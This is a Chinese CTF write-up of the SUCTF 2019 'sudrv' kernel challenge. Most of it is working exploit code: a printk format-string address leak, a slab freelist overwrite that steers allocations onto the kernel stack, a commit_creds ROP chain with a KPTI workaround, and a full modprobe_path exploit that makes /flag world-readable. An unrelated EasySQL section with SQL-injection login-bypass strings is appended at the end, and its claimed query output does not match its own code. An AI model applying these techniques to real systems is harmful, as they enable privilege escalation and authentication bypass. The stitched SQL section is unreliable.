2019 suctf sudrv

本文深入探讨了Linux内核中的内存管理机制,包括slab分配器和kmalloc操作。通过分析模块加载过程中的内存申请,展示了如何利用格式化字符串漏洞泄漏地址,并通过内核堆溢出实现控制内存分配。文章详细阐述了不同大小内存申请对堆布局的影响,并给出了内核权限提升的两种方法,涉及rop链构造和modprobe_path的利用。最后,文章提到了KPTI保护和SMEP机制对提权的挑战以及解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

bb一句,这题太好玩了,过程中学习了很多新姿势。

保护

系统保护
在这里插入图片描述
模块保护
在这里插入图片描述
版本信息
在这里插入图片描述

分析

模块加载函数sudrv_init:
在这里插入图片描述

注意下这个模块在加载时就已经申请了0x1000大小的内存

sudrv_exit
在这里插入图片描述
sudrv_ioctl
在这里插入图片描述
这里可以自定义kmalloc的大小,打印全局变量su_buf的数据,和kfree释放内存

sudrv_ioctl_cold_2
在这里插入图片描述

格式化字符漏洞,printk相对于printf来说它所支持的格式化字符也越少,通常在printf中使用%p来泄漏地址,相应的printk函数可使用%llx来泄漏地址

sudrv_write
]
用于写入全局变量su_buf的值的函数

思路

  1. 可以随意申请<0xfff大小的内存,且每次kmalloc后的指针会放在全局变量su_buf中,会覆盖
  2. 可以向该全局变量su_buf写入任意长度的数据,可以造成堆溢出
  3. 写入数据后可在控制台输出该su_buf

这题反正用户态堆题自然是很简单,但是内核态和用户态截然不同,还是能get到新知识的

注意⚠️:到这个地方时,你应该掌握了Linux内核-内存管理、slab分配器策略知识,不然下面会看着很懵,读者可自行搜索资源了解相关知识,也可参考博主的文章-> 点我

因为题目有kaslr保护自然先要泄漏模块偏移,得到正确的地址,为了方便gdb调试可以手动去掉kaslr保护 ,先将rop链搭好最后加上偏移进行测试

首先通过格式化字符漏洞泄漏模块地址

    int fd = open("/dev/meizijiutql",2);
//-----------------------leak addr------------------------------
    char buf[10 * 8] = "%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx\n0x%llx\n0x%llx\n";
    write(fd,buf,sizeof(buf));
    show(fd); //格式化字符漏洞
    system("echo `dmesg | tail -2 | head -1 | cut -d ']' -f 2` > mod_addr ");
    system("echo `dmesg | tail -1 | head -1 | cut -d ']' -f 2` > stack_addr "); //意思是通过管道符将dmesg的输出信息通过tail命令显示最后3行 -> 显示第一行 -> 将字符以']'分割取第2段 
    int offset = getOffset(); //计算偏移
    printf("offset -> 0x%x\n",offset);

getOffset函数:

size_t getOffset(){
    char buf[0x13];
    FILE* mod_fd = fopen("/mod_addr","r");
    FILE* stack_fd = fopen("/stack_addr","r");
    fgets(buf,0x13,mod_fd);
    sscanf(buf,"%llx",&mod_addr);
    fgets(buf,0x13,stack_fd);
    sscanf(buf,"%llx",&stack_addr);

    vmlinux_base = mod_addr - (0xffffffff8229a268 - 0xffffffff81000000);
    prepare_kernel_cred = vmlinux_base + (0xffffffff81081790 - 0xffffffff81000000);
    commit_cred = vmlinux_base + (0xffffffff81081410 - 0xffffffff81000000);

    printf("stack -> 0x%llx\n",stack_addr);
    printf("vmlinux_base -> 0x%llx\n",vmlinux_base);
    return vmlinux_base - 0xffffffff81000000;
}

因为这里可以进行堆溢出,劫持堆分配流。

有了上面对linux内核内存管理知识掌握后,下面我们进行实测一下:

首先申请一个0x10大小的内存,在_kmalloc(0x10, __GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM);函数后面查看返回值如下:

]

这个rax值0xffff888005e04290就是slab分配后得到slab-object地址,同时可以注意到它后面的一串链条指针,他们相差都是0x10,也就是说这条链表里的slab-object都是等同大小(0x10)且物理相邻,这就是前面说的kmem-cache-cpu里的剩余空闲链表

ok,将申请的内存大小改为0x100再看结果如下图所示:

在这里插入图片描述

可以发现它们依旧是等同大小(0x100),且物理相邻,但是注意到 0xffff888005cfd600 → 0xffff888005cfd500 → 0xffff888005cfd700这里并不是上一种情况中的每个slab-object都是按等同顺序递增的

情况二:

在遇到kmem_cache_cpu->partial里的slab链表仅剩余2个空闲slab-object时如下图:

在这里插入图片描述

为了看到程序将这两个slab-object用完后的分配场景,在gdb中再次c到这个断点,继续运行该程序,因为我们的内核模块没有停止所以它的内存分配会接着上面继续分配

在经过2次申请0x100后如下图:

在这里插入图片描述

产生这种情况就是因为kmem_cache_cpu没有空闲的slab-object了那么它从kmem_cache_node里面再次划分内存作为slab链表 ,并将freelist指向新的slab链表,当然还有一种情况就是kmem_cache_node里面也没有空闲空间可划分,那么就会通过slab分配器再次分配内存作为slab-object

当然一次申请一块内存不过瘾那么就多来几块

add(fd,0x100);  //这里封装了 kmalloc(size,flag);
add(fd,0x100);
add(fd,0x100);
add(fd,0x100);
add(fd,0x100);
add(fd,0x100);

可以发现每次分配都是按链表的指针进行分配,且到链表尾时又重新分配新的链表
在这里插入图片描述

将上面的同等大小再次变化一下:

add(fd,0x10);
add(fd,0x20);
add(fd,0x30);
add(fd,0x10);
add(fd,0x10);
add(fd,0x20);
add(fd,0x30);

为了方便观察下面不贴图了只看rax的值,断点还是和上面一样 经过add(fd,0x10)后

gef➤  reg
$rax   : 0xffff888007198340  →  0xffff888007198350  →  0xffff888007198360  →  0xffff888007198370  →  0xffff888007198380  →  0xffff888007198390  →  0xffff8880071983a0  →  0xffff8880071983b0

此时freelist指针指向0xffff888007198350

在经过add(fd,0x20)

gef➤  reg
$rax   : 0xffff888006874580  →  0xffff8880068748e0  →  0xffff888006874420  →  0xffff888006874fa0  →  0xffff888006874a20  →  0xffff8880068742a0  →  0xffff888006874b40  →  0x00000000000000

可以发现这里分配到了另一个偏移较大的地址,而不是前面freelist指针指向的0xffff888007198350地址

在经过add(fd,0x30)

gef➤  reg
$rax   : 0xffff888005e75500  →  0xffff888005e75540  →  0xffff888005e75580  →  0xffff888005e755c0  →  0xffff888005e75600  →  0xffff888005e75640  →  0xffff888005e75680  →  0xffff888005e756c0

add(fd,0x10)

gef➤  reg
$rax   : 0xffff888005e012f0  →  0xffff888005e01410  →  0xffff888005e01420  →  0xffff888005e01430  →  0xffff888005e01440  →  0xffff888005e01450  →  0xffff888005e01460  →  0xffff888005e01470

add(fd,0x10)

gef➤  reg
$rax   : 0xffff888005e01410  →  0xffff888005e01420  →  0xffff888005e01430  →  0xffff888005e01440  →  0xffff888005e01450  →  0xffff888005e01460  →  0xffff888005e01470  →  0xffff888005e01480

这里分配到了上面freelist指向的地址,并没有发生链表改变

add(fd,0x20)

gef➤  reg
$rax   : 0xffff888006874f40  →  0xffff888006874540  →  0xffff888006874ee0  →  0xffff888006874fa0  →  0xffff8880068740a0  →  0xffff888006874620  →  0xffff888006874920  →  0xffff8880068740e0

add(fd,0x30)

gef➤  reg
$rax   : 0xffff888005e75600  →  0xffff888005e75640  →  0xffff888005e75680  →  0xffff888005e756c0  →  0xffff888005e75700  →  0xffff888005e75740  →  0xffff888005e75780  →  0xffff888005e757c0

通过上面可以通过kmalloc申请的大小不一致会导致链表的改变,当kmalloc申请的大小一致时且链表有空闲值会按freelist进行取slab-object

那么印证了同等大小的slab-object由同一个slab管理,反之依然,这些slab大小分类可通过cat /proc/slabinfo 进行查看

在这里插入图片描述

也就是说上面我们分配的内存比如0x10大小的会由kmalloc-16管理、0x20大小会由kmalloc-32管理、而0x30大小因为向上对齐的策略会由kmalloc-64进行管理

好了有了内核内存分配的认识后就可以开始控制内存的分配了,为了可以进行堆溢出,那么就务必要使申请的slab-object它们物理相邻且是递增的内存,因为在执行exp时系统就已经存在很多内存块了,在我们申请内存时一定几率会拿到kmem-cache-cpu里的partial slab链表也就可能导致分配的object不是物理相邻,从而导致拿不到fack object

//-----------------------attack into stack------------------------------
    add(fd,0x10); //slab-object1  这里申请了一个0x10的object,假设该object地址为0xffff88800716a5e0,则在该kmen_cache_cpu中freelist指针会指向0xffff88800716a5f0,那么下次kmalloc时就会从freelist指针得到该地址
    size_t fake[3] = {0};
    fake[2] = stack_addr;
    write(fd,fake,sizeof(fake));  //修改freelist指针的值为伪造栈地址
    add(fd,0x10); //拿到0xffff88800716a5f0 , 此时该sla-object的首地址指向下一个伪造的slab-object
    add(fd,0x10); //这样就拿到了fake stack object

在fake object下停断点如下图:

[]

那么现在就可以对栈写入数据了,我们修改sudrv_write函数的ret地址为我们的rop

从gdb中看到需要将object分配到0xffffc900007a3e50处,再写入我们的rop链接即可劫持程序流了

因为内核版本较高,且开启了smep保护,不能执行用户空间程序,所以这里通过汇编形式进行提权root(使用cr4=0x4f0的方式也绕过不了。。。)

 		size_t rop[15	] = {0};  //初始化该栈空间 方便gdb时观察数据
    int i = 0;
    rop[i++] = POP_RDI + offset;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = POP_RCX + offset; //设rcx为0 ,提高下面mov rdi,rax成功率
    rop[i++] = 0;
    rop[i++] = MOV_RDI_RAX + offset; //这句gadget会执行 cmp rcx,rsi ; ja 0xxxxxxx(置rcx为0)
    rop[i++] = commit_cred; //commit_cred(prepare_kernel_cred(NULL));
    rop[i++] = SWAPGS + offset;
    rop[i++] = 0;
    rop[i++] = IRETQ + offset;
    rop[i++] = 0; //rip
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    write(fd,rop,sizeof(rop));
    close(fd);

最后因为这题采用的内核版本为4.20.12该版本默认添加了KPTI保护(Linux 4.15 中引入了 KPTI 机制,并且该机制被反向移植到了 Linux 4.14.11,4.9.75,4.4.110。),所以在经过iretq指令时会报段错误. 具体可通过如下命令查看是否开启保护

/ $ dmesg | grep 'page table'
[    0.000000] Kernel/User page tables isolation: enabled #这里显示开启
/ $ cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor pti smep
fpu_exception	: yes 
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor pti smep
/ $

在这里插入图片描述

绕过方式可以学习ctfwiki中的姿势:https://ctf-wiki.org/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti/
这里采用在用户态注册 signal handler执行getShell

signal(SIGSEGV,getShell);

提权

在这里插入图片描述

未解决问题:无法通过修改cr4的方法绕过smep

这题做的应该还有点小问题,感觉不是很完美。。。。。因为我的exp运行提权时第一次成功率80%,成为root身份后再次运行exp就会稳定报错内核栈损坏,报错如下, 这个师傅的exp的成功率就很高(链接https://mask6asok.top/2020/02/06/kernel_challenge.html#2019-SUCTF-sudrv

[

解法二:

这里是后面学到了新姿势添加的新内容,排版不是很好。。。。

另一种解法就是通过modprobe_path修改flag文件权限为普通用户可读,不通过/bin/sh的方式。

具体的使用姿势可以看https://xz.aliyun.com/t/6067#toc-12 这个文章,也可以看我总结的文章https://blog.youkuaiyun.com/csdn546229768/article/details/124546007

这题前面分析知道有个任意内容写的漏洞,那么我们修改modprobe_path指向的字符串为我们本地构造好的一个高权限的脚本,如下:

void loadFoot(){
    system("echo -ne '#!/bin/sh  \n/bin/cp /flag /tmp/flag  \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");  //用于modprobe_path指向的文件
    system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件
    system("chmod +x /tmp/exp.sh");
    system("chmod +x /tmp/errofile");
}
//那么它会是这样的
//exp.sh
//---------------------------
#!/bin/sh
/bin/cp /flag /tmp/flag
/bin/chmod 777 /tmp/flag
//---------------------------

通过gef查看到modprobe_path的地址,然后通过修改freelist的fd值为modprobe_path地址,写入构造的修改权限的文件路径,如下:

  	loadFoot();
    fd = open("/dev/meizijiutql",2);

    size_t modprobe_addr = 0xffffffff82242320;

    add(0x400);
    size_t fake[0x81] = {0};
    fake[0x80] = modprobe_addr;
    write(fd,fake,sizeof fake);

    add(0x400);
    add(0x400);
    char modprobe[0x10] = "/tmp/exp.sh\x00";
    write(fd,modprobe,sizeof modprobe);
    close(fd);

    system("./tmp/errofile");//执行错误文件,触发call_modprobe函数,从而执行我们的权限文件
    system("cat /tmp/flag");

完整exp

#include<stdio.h>

int fd ;

void add(int size){
    ioctl(fd,0x73311337,size);
}

void loadFoot(){
    system("echo -ne '#!/bin/sh  \n/bin/cp /flag /tmp/flag  \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");
    system("chmod +x /tmp/exp.sh");
    system("echo -ne '\xff' > /tmp/errofile ");
    system("chmod +x /tmp/errofile");
    //setvbuf(stdin, NULL, _IONBF, 0);
    //setvbuf(stdout, NULL, _IONBF, 0);
    //setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
    loadFoot();
    fd = open("/dev/meizijiutql",2);

    size_t modprobe_addr = 0xffffffff82242320;

    add(0x400);
    size_t fake[0x81] = {0};
    fake[0x80] = modprobe_addr;
    write(fd,fake,sizeof fake);

    add(0x400);
    add(0x400);
    char modprobe[0x10] = "/tmp/exp.sh\x00";
    write(fd,modprobe,sizeof modprobe);
    close(fd);

    system("./tmp/errofile");
    //可移到根目录进行覆盖原flag
    //system("/bin/cp tmp/flag /flag");
    //system("cat /flag");
    //可直接读取flag
    system("cat /tmp/flag");

    return 0;
}

执行结果:

/ $ ./exp
[    3.984738] SU Device opened
[    3.985326] Write!
[    3.985512] Write!
[    3.985655] SU Device closed
./tmp/errofile: line 1: ÿ: not found
flag{************}   //成功读出flag文件内容
/ $ ls -l tmp/flag
-rwxrwxrwx    1 0        0               19 May  2 12:13 tmp/flag //权限被修改为低权限

exp同样只能执行一次,第二次稳定崩溃

资料参考:

### SUCTF 2019 EasySQL Challenge Writeup #### 背景介绍 SUCTF 2019 的 EasySQL 是一道经典的 SQL 注入题目。该题目的核心在于利用特定的 `sql_mode` 设置来绕过某些安全机制,从而实现注入攻击。 #### 关键技术点分析 在 MySQL 中,通过设置不同的 `sql_mode` 可以改变数据库的行为模式[^1]。对于此题而言,关键在于将 `sql_mode` 设定为 `PIPES_AS_CONCAT`,这会使得双竖线 (`||`) 不再表示逻辑运算中的“或”,而是被解释成字符串连接操作符[^4]。 这种变化允许攻击者构造特殊的输入,在不触发传统防御措施的情况下完成注入。具体来说: - 当 `sql_mode=PIPES_AS_CONCAT` 时,`||` 将用于拼接字符串而不是作为布尔表达式的组成部分; - 利用这一点可以巧妙地构建查询语句,使原本看似无害的数据变成有效的 SQL 片段[^2]; #### 解决方案演示 假设存在如下表结构: ```sql CREATE TABLE users ( id INT NOT NULL AUTO_INCREMENT, username VARCHAR(50), password VARCHAR(50), PRIMARY KEY (id) ); ``` 如果应用程序未对用户提交的内容做充分验证,则可以通过精心设计的参数传递恶意指令给服务器端处理。例如,当登录功能接受用户名和密码时,可尝试以下方式突破认证: ```python username = "admin' || '1" password = "' OR '1'='1" # 构造后的最终查询可能形似这样: query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}';" print(query) # 输出结果将是: # SELECT * FROM users WHERE username='admin'' || '1' AND password='' OR '1'='1'; ``` 由于启用了 `PIPES_AS_CONCAT` 模式,上述代码片段将会成功匹配管理员账户并返回相应记录[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值